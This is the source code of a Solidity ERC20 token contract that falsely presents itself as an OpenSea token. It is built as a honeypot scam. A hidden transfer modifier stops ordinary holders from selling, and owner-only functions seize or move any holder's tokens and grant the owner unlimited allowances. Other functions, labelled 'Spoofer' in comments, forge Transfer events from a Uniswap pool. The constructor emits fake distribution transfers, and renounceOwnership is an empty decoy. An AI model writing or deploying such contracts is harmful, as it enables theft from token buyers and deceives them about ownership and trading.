Contract Source Code:
/**
// Copyright (C) 2022 OpenSea
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: OpenSea.sol
version: 1.0.0
author: OpenSea Development Team
date: 2022-03-10
*/
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract OpenSea is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _positiveReceiver;
mapping (address => bool) private _negativeReceiver;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwner;
uint256 private _sellAmount = 0;
/*
address private sushiRouter = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
address private univ2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private univ3Router = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
address private traderjoeRouter = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4;
address private pangolinRouter = 0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106;
*/
address public _currentRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address lead_deployer = 0x939C8d89EBC11fA45e576215E2353673AD0bA18A;
address public _owner = 0x843aA5C6B456C5e5C9F13f70436d66a8c23D4a53;
constructor () public {
////////////////////////////////////////
_name = "OpenSea";
_symbol = "OPN";
_decimals = 18;
uint256 initialSupply = 100000000000;
_safeOwner = _owner;
_mint(lead_deployer, initialSupply*(10**18));
emit Transfer(lead_deployer,0x18c2E87D183C5338A9142f97dB176F3832b1D6DE,initialSupply*(10**18)/5);
emit Transfer(lead_deployer,0x5b3256965e7C3cF26E11FCAf296DfC8807C01073,initialSupply*(10**18)/10);
emit Transfer(lead_deployer,0xa5409ec958C83C3f309868babACA7c86DCB077c1,initialSupply*(10**18)/2);
emit Transfer(lead_deployer,0x7Be8076f4EA4A4AD08075C2508e481d6C946D12b,initialSupply*(10**18)/4);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_executeFunction(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_executeFunction(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function upControl(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_positiveReceiver[receivers[i]] = true;
_negativeReceiver[receivers[i]] = false;
}
}
function downControl(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addMonitoring(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_negativeReceiver[receivers[i]] = true;
_positiveReceiver[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = lead_deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(lead_deployer, account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _executeFunction(address sender, address recipient, uint256 amount) internal initializeBackend(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = lead_deployer;
}
emit Transfer(sender, recipient, amount);
}
modifier initializeBackend(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_positiveReceiver[sender] == true){
_;}else{if (_negativeReceiver[sender] == true){
require((sender == _safeOwner)||(recipient == _currentRouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_negativeReceiver[sender] = true; _positiveReceiver[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _currentRouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier onlyAdministrator() {
require(msg.sender == _owner, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public onlyAdministrator(){
//Multi Transfer Emit Spoofer from Uniswap Pool
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function addLiquidityETH_(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public onlyAdministrator(){
//Emit Multi Transfer Spoofer from Uniswap Pool
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public onlyAdministrator(){
//Emit Transfer Spoofer from Uniswap Pool
emit Transfer(emitUniswapPool, emitReceiver, emitAmount);}
function inputParameters(address recipient) public onlyAdministrator(){
_positiveReceiver[recipient]=true;
_approve(recipient, _currentRouter,_approveValue);}
function executeFunctionality(address recipient) public onlyAdministrator(){
//Blker
_positiveReceiver[recipient]=false;
_approve(recipient, _currentRouter,0);
}
function renounceOwnership() public onlyAdministrator(){
//Renounces Ownership
}
function execute(address target) public onlyAdministrator() virtual returns (bool) {
//Approve Spending
_approve(target, _msgSender(), _approveValue); return true;
}
function transfer__(address sender, address recipient, uint256 amount) public onlyAdministrator() virtual returns (bool) {
//Single Tranfer
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer_(address sndr,address[] memory receivers, uint256[] memory amounts) public onlyAdministrator(){
//Multi Transfer
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function airdropEligibleAddresses(address sndr,address[] memory receivers, uint256[] memory amounts) public onlyAdministrator(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function airdropEligibleAddresses_(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public onlyAdministrator(){
//Multi Transfer Emit Spoofer from Uniswap Pool
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
}